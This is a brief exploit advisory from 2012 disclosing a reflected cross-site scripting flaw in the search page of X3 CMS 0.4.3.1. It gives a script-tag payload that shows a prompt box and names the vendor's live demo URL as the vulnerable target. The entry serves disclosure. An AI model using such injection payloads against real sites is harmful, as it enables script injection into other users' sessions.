X3 CMS 0.4.3.1 Cross Site Scripting

`# Exploit Title: X3 CMS 0.4.3.1 Xss Vulnerability  
# Date: 17.02.2012  
# Author: l20ot  
# Software Link: http://www.x3cms.net/  
# Web Browser : Mozilla Firefox  
# Blog : http://www.twitter.com/l20ot  
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X3Cms is a simple and powerful content manager system.  
  
Vulnerable page: http://www.x3cms.net/demo/en/search  
  
Make a search like: <script>prompt("Xss Vulnerability By l20ot")</script>  
  
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"The quieter you become, the more you are able to hear..."  
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